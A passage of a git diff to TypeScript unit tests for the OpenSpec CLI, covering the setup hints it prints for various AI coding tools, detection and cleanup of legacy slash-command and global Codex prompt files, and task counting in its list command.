expect(claudeHint).toContain('/opsx:propose'); + expect(qwenHint).toContain('/opsx-propose'); + expect(qwenHint).not.toContain('/opsx:propose'); + }); + + it('should not advertise an instruction for a tool that got no skills (delivery=commands, codex+kimi)', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'commands', + }); + + const initCommand = new InitCommand({ tools: 'codex,kimi', force: true }); + await initCommand.execute(testDir); + + // Codex is skills-invocable so its skills are generated even under + // delivery=commands; kimi (capability none) gets nothing at all + expect(await fileExists(path.join(testDir, '.agents', 'skills', 'openspec-propose', 'SKILL.md'))).toBe(true); + expect(await fileExists(path.join(testDir, '.kimi-code'))).toBe(false); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const startHints = logCalls.filter((entry) => entry.includes('Start your first change')); + // Only the codex instruction may be advertised — a Kimi line would point + // at skills that were never generated + expect(startHints).toHaveLength(1); + expect(startHints[0]).toContain('$openspec-propose'); + expect(startHints[0]).not.toContain('Kimi'); + expect(logCalls.some((entry) => entry.includes('/skill:openspec-'))).toBe(false); + // Kimi got zero artifacts, so it still deserves the configuration correction + const correction = logCalls.find((entry) => entry.includes('No skills or commands were generated for')); + expect(correction).toContain('Kimi Code'); + expect(correction).not.toContain('Codex'); + expect(correction).toContain("openspec config set delivery both"); + }); + + it('should print a per-tool correction when an adapter-backed tool masks an adapterless one (delivery=commands, claude+kimi)', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'commands', + }); + + const initCommand = new InitCommand({ tools: 'claude,kimi', force: true }); + await initCommand.execute(testDir); + + // Claude gets commands; kimi (no adapter, delivery excludes skills) gets nothing + expect(await fileExists(path.join(testDir, '.claude', 'commands', 'opsx', 'propose.md'))).toBe(true); + expect(await fileExists(path.join(testDir, '.kimi-code'))).toBe(false); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + // The /opsx: hint is correct for Claude, but Kimi must not be left with + // a dead instruction: the correction names it even though another tool + // generated commands + const startHints = logCalls.filter((entry) => entry.includes('Start your first change')); + expect(startHints).toHaveLength(1); + expect(startHints[0]).toContain('/opsx:propose'); + const correction = logCalls.find((entry) => entry.includes('No skills or commands were generated for')); + expect(correction).toContain('Kimi Code'); + expect(correction).not.toContain('Claude'); + expect(correction).toContain("openspec config set delivery both"); + expect(logCalls.some((entry) => entry.includes('/skill:openspec-'))).toBe(false); + }); + + it('should label per-tool hints when adapter-backed and adapterless tools are mixed (claude+kimi)', async () => { + // Claude gets /opsx:* commands; kimi only gets skills invoked as + // /skill:openspec-*. A single unlabeled /opsx: hint would be unusable + // for the Kimi user, so each tool gets its own labeled instruction. + const initCommand = new InitCommand({ tools: 'claude,kimi', force: true }); + await initCommand.execute(testDir); + + expect(await fileExists(path.join(testDir, '.claude', 'commands', 'opsx', 'propose.md'))).toBe(true); + expect(await fileExists(path.join(testDir, '.kimi-code', 'skills', 'openspec-propose', 'SKILL.md'))).toBe(true); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const startHints = logCalls.filter((entry) => entry.includes('Start your first change')); + expect(startHints).toHaveLength(2); + const claudeHint = startHints.find((entry) => entry.includes('Claude Code')); + const kimiHint = startHints.find((entry) => entry.includes('Kimi Code')); + expect(claudeHint).toContain('/opsx:propose'); + expect(kimiHint).toContain('/skill:openspec-propose'); + expect(kimiHint).not.toContain('/opsx:'); + }); + + it('should keep /opsx: command hints for adapter-backed tools under default delivery', async () => { + const initCommand = new InitCommand({ tools: 'claude', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join(testDir, '.claude', 'skills', 'openspec-apply-change', 'SKILL.md'); + const skillContent = await fs.readFile(skillFile, 'utf-8'); + expect(skillContent).toContain('/opsx:'); + + const logCalls = (console.log as unknown as { mock: { calls: unknown[][] } }).mock.calls.flat().map(String); + const startHint = logCalls.find((entry) => entry.includes('Start your first change')); + expect(startHint).toContain('/opsx:propose'); + }); + + it('should use skill references for opencode in skills-only delivery', async () => { + saveGlobalConfig({ + featureFlags: {}, + profile: 'core', + delivery: 'skills', + }); + + const initCommand = new InitCommand({ tools: 'opencode', force: true }); + await initCommand.execute(testDir); + + const skillFile = path.join(testDir, '.opencode', 'skills', 'openspec-explore', 'SKILL.md'); + expect(await fileExists(skillFile)).toBe(true); + + // Skills-only must win over the hyphen transform: no /opsx: or /opsx- references + const skillContent = await fs.readFile(skillFile, 'utf-8'); + expect(skillContent).not.toContain('/opsx:'); + expect(skillContent).not.toContain('/opsx-'); + expect(skillContent).toContain('/openspec-'); }); it('should respect delivery=commands setting (no skills)', async () => { diff --git a/test/core/legacy-cleanup.test.ts b/test/core/legacy-cleanup.test.ts index bfae378055..55c72d5f85 100644 --- a/test/core/legacy-cleanup.test.ts +++ b/test/core/legacy-cleanup.test.ts @@ -2,37 +2,44 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; import { detectLegacyArtifacts, detectLegacyConfigFiles, detectLegacySlashCommands, detectLegacyStructureFiles, + getCodexPromptDir, hasOpenSpecMarkers, isOnlyOpenSpecContent, removeMarkerBlock, cleanupLegacyArtifacts, + formatDeferredGlobalPromptSummary, formatCleanupSummary, formatDetectionSummary, formatProjectMdMigrationHint, getToolsFromLegacyArtifacts, LEGACY_CONFIG_FILES, + LEGACY_GLOBAL_SLASH_COMMAND_PATHS, LEGACY_SLASH_COMMAND_PATHS, } from '../../src/core/legacy-cleanup.js'; import { OPENSPEC_MARKERS } from '../../src/core/config.js'; import { CommandAdapterRegistry } from '../../src/core/command-generation/registry.js'; +import { resolveCommandSurfaceCapability } from '../../src/core/command-surface.js'; +import { ALL_WORKFLOWS } from '../../src/core/profiles.js'; describe('legacy-cleanup', () => { let testDir: string; + let originalEnv: NodeJS.ProcessEnv; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-legacy-test-${randomUUID()}`); - await fs.mkdir(testDir, { recursive: true }); + originalEnv = { ...process.env }; + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-legacy-test-')); + process.env.CODEX_HOME = path.join(testDir, 'codex-home'); // Create openspec directory structure await fs.mkdir(path.join(testDir, 'openspec'), { recursive: true }); }); afterEach(async () => { + process.env = originalEnv; await fs.rm(testDir, { recursive: true, force: true }); }); @@ -327,6 +334,24 @@ ${OPENSPEC_MARKERS.end}`); expect(result.files).toContain('.qwen/commands/openspec-proposal.toml'); }); + it('should detect deprecated opsx TOML commands for Qwen', async () => { + const dirPath = path.join(testDir, '.qwen', 'commands'); + await fs.mkdir(dirPath, { recursive: true }); + await fs.writeFile(path.join(dirPath, 'opsx-explore.toml'), 'content'); + + const result = await detectLegacySlashCommands(testDir); + expect(result.files).toContain('.qwen/commands/opsx-explore.toml'); + }); + + it('should not detect new Markdown commands for Qwen as legacy', async () => { + const dirPath = path.join(testDir, '.qwen', 'commands'); + await fs.mkdir(dirPath, { recursive: true }); + await fs.writeFile(path.join(dirPath, 'opsx-explore.md'), 'content'); + + const result = await detectLegacySlashCommands(testDir); + expect(result.files).not.toContain('.qwen/commands/opsx-explore.md'); + }); + it('should detect Continue prompt files', async () => { const dirPath = path.join(testDir, '.continue', 'prompts'); await fs.mkdir(dirPath, { recursive: true }); @@ -364,6 +389,58 @@ ${OPENSPEC_MARKERS.end}`); expect(result.files).toContain('.opencode/command/opsx-propose.md'); expect(result.files).toContain('.opencode/command/openspec-new.md'); }); + + it('should detect legacy CoStrict command files without claiming their directory', async () => { + const dirPath = path.join(testDir, '.cospec', 'openspec', 'commands'); + await fs.mkdir(dirPath, { recursive: true }); + await fs.writeFile(path.join(dirPath, 'openspec-proposal.md'), 'content'); + await fs.writeFile(path.join(dirPath, 'openspec-apply.md'), 'content'); + await fs.writeFile(path.join(dirPath, 'openspec-archive.md'), 'content'); + + const result = await detectLegacySlashCommands(testDir); + expect(result.files).toContain('.cospec/openspec/commands/openspec-proposal.md'); + expect(result.files).toContain('.cospec/openspec/commands/openspec-apply.md'); + expect(result.files).toContain('.cospec/openspec/commands/openspec-archive.md'); + expect(result.directories).not.toContain('.cospec/openspec/commands'); + }); + + it('should not report any file a current command adapter writes as a legacy artifact', async () => { + // Codex is the only legacy tool id with no adapter, so it is the only + // entry with no current output for this invariant to compare against. + const withoutAdapter = Object.keys(LEGACY_SLASH_COMMAND_PATHS).filter( + (toolId) => !CommandAdapterRegistry.has(toolId) + ); + expect(withoutAdapter).toEqual(['codex']); + + const currentFiles = CommandAdapterRegistry.getAll().flatMap((adapter) => + ALL_WORKFLOWS.map((workflowId) => adapter.getFilePath(workflowId)) + ); + expect(currentFiles.every((filePath) => !path.isAbsolute(filePath))).toBe(true); + + for (const relativePath of currentFiles) { + const filePath = path.join(testDir, relativePath); + await fs.mkdir(path.dirname(filePath), { recursive: true }); + await fs.writeFile(filePath, 'current command output'); + } + + const result = await detectLegacySlashCommands(testDir); + expect(result.files).toEqual([]); + expect(result.directories).toEqual([]); + }); + + it('should not include managed global Codex prompt files in repo-local slash command detection', async () => { + const promptDir = getCodexPromptDir(); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(path.join(promptDir, 'opsx-explore.md'), 'legacy explore prompt'); + await fs.writeFile(path.join(promptDir, 'openspec-proposal.md'), 'managed'); + await fs.writeFile(path.join(promptDir, 'my-custom-prompt.md'), 'user'); + + const result = await detectLegacySlashCommands(testDir); + + expect(result.files).not.toContain(path.join(promptDir, 'opsx-explore.md')); + expect(result.files).not.toContain(path.join(promptDir, 'openspec-proposal.md')); + expect(result.files).not.toContain(path.join(promptDir, 'my-custom-prompt.md')); + }); }); describe('detectLegacyStructureFiles', () => { @@ -462,6 +539,38 @@ ${OPENSPEC_MARKERS.end}`); expect(result.hasOpenspecAgents).toBe(true); expect(result.hasProjectMd).toBe(true); }); + + it('should detect allowlisted global Codex prompts separately from repo-local slash commands', async () => { + const promptDir = getCodexPromptDir(); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(path.join(promptDir, 'opsx-explore.md'), 'prompt generated by an older OpenSpec version'); + await fs.writeFile(path.join(promptDir, 'opsx-update.md'), 'legacy update prompt'); + await fs.writeFile(path.join(promptDir, 'opsx-review.md'), 'user'); + await fs.writeFile(path.join(promptDir, 'openspec-proposal.md'), 'managed'); + await fs.writeFile(path.join(promptDir, 'my-custom-prompt.md'), 'user'); + + const result = await detectLegacyArtifacts(testDir); + + expect(result.globalSlashCommandFiles).toContain(path.join(promptDir, 'opsx-explore.md')); + expect(result.globalSlashCommandFiles).toContain(path.join(promptDir, 'opsx-update.md')); + expect(result.globalSlashCommandFiles).not.toContain(path.join(promptDir, 'opsx-review.md')); + expect(result.globalSlashCommandFiles).not.toContain(path.join(promptDir, 'openspec-proposal.md')); + expect(result.globalSlashCommandFiles).not.toContain(path.join(promptDir, 'my-custom-prompt.md')); + expect(result.slashCommandFiles).not.toContain(path.join(promptDir, 'opsx-explore.md')); + }); + + it('should detect exact allowlisted global Codex filenames regardless of template revision', async () => { + const promptDir = getCodexPromptDir(); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile( + path.join(promptDir, 'opsx-explore.md'), + '# custom explore prompt\n\nThis is not an OpenSpec generated Codex prompt.\n' + ); + + const result = await detectLegacyArtifacts(testDir); + + expect(result.globalSlashCommandFiles).toContain(path.join(promptDir, 'opsx-explore.md')); + }); }); describe('cleanupLegacyArtifacts', () => { @@ -526,6 +635,26 @@ ${OPENSPEC_MARKERS.end}`); await expect(fs.access(filePath)).rejects.toThrow(); }); + it('should delete legacy CoStrict command files without emptying their directory', async () => { + const dirPath = path.join(testDir, '.cospec', 'openspec', 'commands'); + await fs.mkdir(dirPath, { recursive: true }); + const legacyFile = path.join(dirPath, 'openspec-proposal.md'); + const currentFile = path.join(dirPath, 'opsx-propose.md'); + const userFile = path.join(dirPath, 'my-team-command.md'); + await fs.writeFile(legacyFile, 'content'); + await fs.writeFile(currentFile, 'content'); + await fs.writeFile(userFile, 'content'); + + const detection = await detectLegacyArtifacts(testDir); + const result = await cleanupLegacyArtifacts(testDir, detection); + + expect(result.deletedFiles).toContain('.cospec/openspec/commands/openspec-proposal.md'); + expect(result.deletedDirs).not.toContain('.cospec/openspec/commands'); + await expect(fs.access(legacyFile)).rejects.toThrow(); + await expect(fs.access(currentFile)).resolves.not.toThrow(); + await expect(fs.access(userFile)).resolves.not.toThrow(); + }); + it('should delete openspec/AGENTS.md', async () => { const agentsPath = path.join(testDir, 'openspec', 'AGENTS.md'); await fs.writeFile(agentsPath, 'content'); @@ -588,6 +717,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: ['NON_EXISTENT.md'], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -600,6 +730,81 @@ ${OPENSPEC_MARKERS.end}`); expect(result.errors.length).toBeGreaterThan(0); expect(result.errors[0]).toContain('NON_EXISTENT.md'); }); + + it('should remove allowlisted global Codex prompts and preserve unmanaged prompts', async () => { + const promptDir = getCodexPromptDir(); + const managedPrompt = path.join(promptDir, 'opsx-apply.md'); + const customOpsxPrompt = path.join(promptDir, 'opsx-review.md'); + const legacyPrompt = path.join(promptDir, 'openspec-proposal.md'); + const unmanagedPrompt = path.join(promptDir, 'personal.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile(managedPrompt, 'legacy apply prompt'); + await fs.writeFile(customOpsxPrompt, 'user'); + await fs.writeFile(legacyPrompt, 'managed'); + await fs.writeFile(unmanagedPrompt, 'user'); + + const detection = await detectLegacyArtifacts(testDir); + const result = await cleanupLegacyArtifacts(testDir, detection); + + expect(result.deletedFiles).toContain(managedPrompt); + expect(result.deletedFiles).not.toContain(legacyPrompt); + expect(result.deletedFiles).not.toContain(customOpsxPrompt); + await expect(fs.access(managedPrompt)).rejects.toThrow(); + await expect(fs.access(customOpsxPrompt)).resolves.not.toThrow(); + await expect(fs.access(legacyPrompt)).resolves.not.toThrow(); + await expect(fs.access(unmanagedPrompt)).resolves.not.toThrow(); + }); + + it('should remove exact allowlisted global Codex filenames when their content differs', async () => { + const promptDir = getCodexPromptDir(); + const customizedManagedName = path.join(promptDir, 'opsx-apply.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.writeFile( + customizedManagedName, + '# customized legacy apply prompt\n' + ); + + const detection = await detectLegacyArtifacts(testDir); + const result = await cleanupLegacyArtifacts(testDir, detection); + + expect(result.deletedFiles).toContain(customizedManagedName); + await expect(fs.access(customizedManagedName)).rejects.toThrow(); + }); + + it('should skip unmanaged global prompt paths in stale detection objects', async () => { + const promptDir = getCodexPromptDir(); + const managedPrompt = path.join(promptDir, 'opsx-apply.md'); + const unmanagedPrompt = path.join(promptDir, 'personal.md'); + const outsidePrompt = path.join(testDir, 'other-codex-home', 'prompts', 'opsx-apply.md'); + await fs.mkdir(promptDir, { recursive: true }); + await fs.mkdir(path.dirname(outsidePrompt), { recursive: true }); + await fs.writeFile(managedPrompt, 'legacy apply prompt'); + await fs.writeFile(unmanagedPrompt, 'user'); + await fs.writeFile(outsidePrompt, 'outside configured Codex prompt directory'); + + const detection = { + configFiles: [], + configFilesToUpdate: [], + slashCommandDirs: [], + slashCommandFiles: [], + globalSlashCommandFiles: [managedPrompt, unmanagedPrompt, outsidePrompt], + hasOpenspecAgents: false, + hasProjectMd: false, + hasRootAgentsWithMarkers: false, + hasLegacyArtifacts: true, + }; + + const result = await cleanupLegacyArtifacts(testDir, detection); + + expect(result.deletedFiles).toContain(managedPrompt); + expect(result.deletedFiles).not.toContain(unmanagedPrompt); + expect(result.deletedFiles).not.toContain(outsidePrompt); + expect(result.errors).toContain(`Skipped unmanaged global prompt ${unmanagedPrompt}`); + expect(result.errors).toContain(`Skipped unmanaged global prompt ${outsidePrompt}`); + await expect(fs.access(managedPrompt)).rejects.toThrow(); + await expect(fs.access(unmanagedPrompt)).resolves.not.toThrow(); + await expect(fs.access(outsidePrompt)).resolves.not.toThrow(); + }); }); describe('formatCleanupSummary', () => { @@ -628,7 +833,7 @@ ${OPENSPEC_MARKERS.end}`); }; const summary = formatCleanupSummary(result); - expect(summary).toContain('✓ Removed .claude/commands/openspec/ (replaced by /opsx:*)'); + expect(summary).toContain('✓ Removed .claude/commands/openspec/ (replaced by OpenSpec skills and commands)'); }); it('should format modified files', () => { @@ -694,6 +899,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: ['CLAUDE.md'], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -712,6 +918,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: ['CLAUDE.md'], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -732,6 +939,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: ['CLINE.md'], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -751,6 +959,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: ['.claude/commands/openspec'], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -768,6 +977,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: ['.cursor/commands/openspec-proposal.md'], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -785,6 +995,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: true, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -802,6 +1013,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: true, hasRootAgentsWithMarkers: false, @@ -822,6 +1034,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: ['CLAUDE.md'], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: true, hasRootAgentsWithMarkers: false, @@ -842,6 +1055,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: ['CLAUDE.md', 'CLINE.md'], slashCommandDirs: ['.claude/commands/openspec'], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: true, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -860,12 +1074,41 @@ ${OPENSPEC_MARKERS.end}`); expect(summary).toContain('• CLINE.md'); }); + it('should format deferred global prompts cleanup separately from repo-local files', () => { + const globalPrompt = path.join(getCodexPromptDir(), 'opsx-explore.md'); + const detection = { + configFiles: [], + configFilesToUpdate: [], + slashCommandDirs: [], + slashCommandFiles: [], + globalSlashCommandFiles: [globalPrompt], + globalSlashCommandDetails: [{ + path: globalPrompt, + toolId: 'codex', + managedFileName: 'opsx-explore.md', + workflowIds: ['explore'], + replacementLabel: 'Codex skills', + }], + hasOpenspecAgents: false, + hasProjectMd: false, + hasRootAgentsWithMarkers: false, + hasLegacyArtifacts: true, + }; + + const summary = formatDeferredGlobalPromptSummary(detection); + expect(summary).toContain('Deferred global prompts cleanup'); + expect(summary).toContain('These global prompts will only be removed after matching replacement skills are installed'); + expect(summary).toContain(`codex: ${globalPrompt}`); + expect(summary).toContain(globalPrompt); + }); + it('should return empty string when nothing is detected', () => { const detection = { configFiles: [], configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -925,22 +1168,44 @@ ${OPENSPEC_MARKERS.end}`); pattern: '.cursor/commands/openspec-*.md', }); - expect(LEGACY_SLASH_COMMAND_PATHS['windsurf']).toEqual({ + expect(LEGACY_SLASH_COMMAND_PATHS['devin']).toEqual({ type: 'files', pattern: '.windsurf/workflows/openspec-*.md', }); }); - it('should only include legacy tool IDs that are present in the CommandAdapterRegistry', () => { + it('should only include legacy tool IDs with a command surface capability', () => { const registeredTools = new Set(CommandAdapterRegistry.getAll().map(adapter => adapter.toolId)); - // Verify all legacy map entries correspond to known adapters for (const tool of Object.keys(LEGACY_SLASH_COMMAND_PATHS)) { - expect(registeredTools.has(tool)).toBe(true); + expect(registeredTools.has(tool) || resolveCommandSurfaceCapability(tool) === 'skills-invocable').toBe(true); } // Pi was never a pre-1.0 legacy tool expect(LEGACY_SLASH_COMMAND_PATHS).not.toHaveProperty('pi'); + // Junie support landed after the opsx rename; it never had openspec-* files + expect(LEGACY_SLASH_COMMAND_PATHS).not.toHaveProperty('junie'); + }); + + it('should use the repo-local compatibility glob pattern for Codex prompt detection', () => { + const codexPatterns = LEGACY_SLASH_COMMAND_PATHS['codex']; + expect(codexPatterns.type).toBe('files'); + const patterns = Array.isArray(codexPatterns.pattern) ? codexPatterns.pattern : [codexPatterns.pattern]; + expect(patterns).toContain('.codex/prompts/openspec-*.md'); + expect(patterns).not.toContain('.codex/prompts/opsx-*.md'); + }); + }); + + describe('LEGACY_GLOBAL_SLASH_COMMAND_PATHS', () => { + it('should define the allowlisted managed global Codex prompt names separately from project-local paths', () => { + const codexPatterns = LEGACY_GLOBAL_SLASH_COMMAND_PATHS['codex']; + expect(codexPatterns.managedFileNames).toContain('opsx-explore.md'); + expect(codexPatterns.managedFileNames).toContain('opsx-apply.md'); + expect(codexPatterns.managedFileNames).toContain('opsx-update.md'); + expect(codexPatterns.workflowIdsByFileName?.['opsx-update.md']).toEqual(['update']); + expect(codexPatterns.managedFileNames).not.toContain('opsx-review.md'); + expect(codexPatterns.managedFileNames).not.toContain('openspec-proposal.md'); + expect(codexPatterns.resolvePromptDir()).toBe(getCodexPromptDir()); }); }); @@ -951,6 +1216,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: ['.claude/commands/openspec'], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -968,6 +1234,25 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: ['.cursor/commands/openspec-proposal.md'], + globalSlashCommandFiles: [], + hasOpenspecAgents: false, + hasProjectMd: false, + hasRootAgentsWithMarkers: false, + hasLegacyArtifacts: true, + }; + + const tools = getToolsFromLegacyArtifacts(detection); + expect(tools).toContain('cursor'); + expect(tools).toHaveLength(1); + }); + + it('should extract cursor from Windows-style legacy artifact paths', () => { + const detection = { + configFiles: [], + configFilesToUpdate: [], + slashCommandDirs: [], + slashCommandFiles: ['.cursor\\commands\\openspec-proposal.md'], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -985,6 +1270,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: ['.claude/commands/openspec', '.qoder/commands/openspec'], slashCommandFiles: ['.cursor/commands/openspec-apply.md', '.windsurf/workflows/openspec-archive.md'], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -995,7 +1281,7 @@ ${OPENSPEC_MARKERS.end}`); expect(tools).toContain('claude'); expect(tools).toContain('qoder'); expect(tools).toContain('cursor'); - expect(tools).toContain('windsurf'); + expect(tools).toContain('devin'); expect(tools).toHaveLength(4); }); @@ -1009,6 +1295,7 @@ ${OPENSPEC_MARKERS.end}`); '.cursor/commands/openspec-apply.md', '.cursor/commands/openspec-archive.md', ], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -1020,12 +1307,38 @@ ${OPENSPEC_MARKERS.end}`); expect(tools).toHaveLength(1); }); + it('should extract codex from managed global legacy prompt files', () => { + const detection = { + configFiles: [], + configFilesToUpdate: [], + slashCommandDirs: [], + slashCommandFiles: [], + globalSlashCommandFiles: [path.join(getCodexPromptDir(), 'opsx-explore.md')], + globalSlashCommandDetails: [{ + path: path.join(getCodexPromptDir(), 'opsx-explore.md'), + toolId: 'codex', + managedFileName: 'opsx-explore.md', + workflowIds: ['explore'], + replacementLabel: 'Codex skills', + }], + hasOpenspecAgents: false, + hasProjectMd: false, + hasRootAgentsWithMarkers: false, + hasLegacyArtifacts: true, + }; + + const tools = getToolsFromLegacyArtifacts(detection); + expect(tools).toContain('codex'); + expect(tools).toHaveLength(1); + }); + it('should return empty array when no legacy artifacts', () => { const detection = { configFiles: [], configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -1042,6 +1355,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: ['.qwen/commands/openspec-proposal.toml'], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -1059,6 +1373,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: ['.continue/prompts/openspec-apply.prompt'], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -1076,6 +1391,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: ['.github/prompts/openspec-apply.prompt.md'], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -1093,6 +1409,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: ['.opencode/command/opsx-propose.md'], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -1110,6 +1427,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: [], slashCommandDirs: [], slashCommandFiles: ['.opencode/command/openspec-new.md'], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -1130,6 +1448,7 @@ ${OPENSPEC_MARKERS.end}`); '.opencode/command/opsx-propose.md', '.opencode/command/openspec-new.md', ], + globalSlashCommandFiles: [], hasOpenspecAgents: false, hasProjectMd: false, hasRootAgentsWithMarkers: false, @@ -1149,6 +1468,7 @@ ${OPENSPEC_MARKERS.end}`); configFilesToUpdate: ['CLAUDE.md'], slashCommandDirs: [], slashCommandFiles: [], + globalSlashCommandFiles: [], hasOpenspecAgents: true, hasProjectMd: false, hasRootAgentsWithMarkers: false, diff --git a/test/core/list.test.ts b/test/core/list.test.ts index 5a678919af..5b23a5d712 100644 --- a/test/core/list.test.ts +++ b/test/core/list.test.ts @@ -11,8 +11,7 @@ describe('ListCommand', () => { beforeEach(async () => { // Create temp directory - tempDir = path.join(os.tmpdir(), `openspec-list-test-${Date.now()}`); - await fs.mkdir(tempDir, { recursive: true }); + tempDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-list-test-')); // Mock console.log to capture output originalLog = console.log; @@ -31,12 +30,12 @@ describe('ListCommand', () => { }); describe('execute', () => { - it('should handle missing openspec/changes directory', async () => { + it('should treat a missing openspec/changes directory as no active changes', async () => { const listCommand = new ListCommand(); - - await expect(listCommand.execute(tempDir, 'changes')).rejects.toThrow( - "No OpenSpec changes directory found. Run 'openspec init' first." - ); + + await listCommand.execute(tempDir, 'changes'); + + expect(logOutput).toEqual(['No active changes found.']); }); it('should handle empty changes directory', async () => { @@ -49,6 +48,16 @@ describe('ListCommand', () => { expect(logOutput).toEqual(['No active changes found.']); }); + it('should not report a malformed openspec/changes path as empty', async () => { + await fs.mkdir(path.join(tempDir, 'openspec'), { recursive: true }); + await fs.writeFile(path.join(tempDir, 'openspec', 'changes'), 'not a directory\n'); + + const listCommand = new ListCommand(); + + await expect(listCommand.execute(tempDir, 'changes')).rejects.toThrow(); + expect(logOutput).toEqual([]); + }); + it('should exclude archive directory', async () => { const changesDir = path.join(tempDir, 'openspec', 'changes'); await fs.mkdir(path.join(changesDir, 'archive'), { recursive: true }); @@ -105,6 +114,22 @@ Regular text that should be ignored expect(logOutput.some(line => line.includes('✓ Complete'))).toBe(true); }); + it('does not report a change with unfinished sub-tasks as complete (#1485)', async () => { + const changesDir = path.join(tempDir, 'openspec', 'changes'); + await fs.mkdir(path.join(changesDir, 'nested-change'), { recursive: true }); + + await fs.writeFile( + path.join(changesDir, 'nested-change', 'tasks.md'), + '- [x] 1.1 Parent task\n - [ ] 1.1.1 Unfinished sub-task\n' + ); + + const listCommand = new ListCommand(); + await listCommand.execute(tempDir, 'changes'); + + expect(logOutput.some(line => line.includes('1/2 tasks'))).toBe(true); + expect(logOutput.some(line => line.includes('✓ Complete'))).toBe(false); + }); + it('should handle changes without tasks.md', async () => { const changesDir = path.join(tempDir, 'openspec', 'changes'); await fs.mkdir(path.join(changesDir, 'no-tasks'), { recursive: true }); @@ -162,4 +187,4 @@ Regular text that should be ignored expect(logOutput.some(line => line.includes('no-tasks') && line.includes('No tasks'))).toBe(true); }); }); -}); \ No newline at end of file +}); diff --git 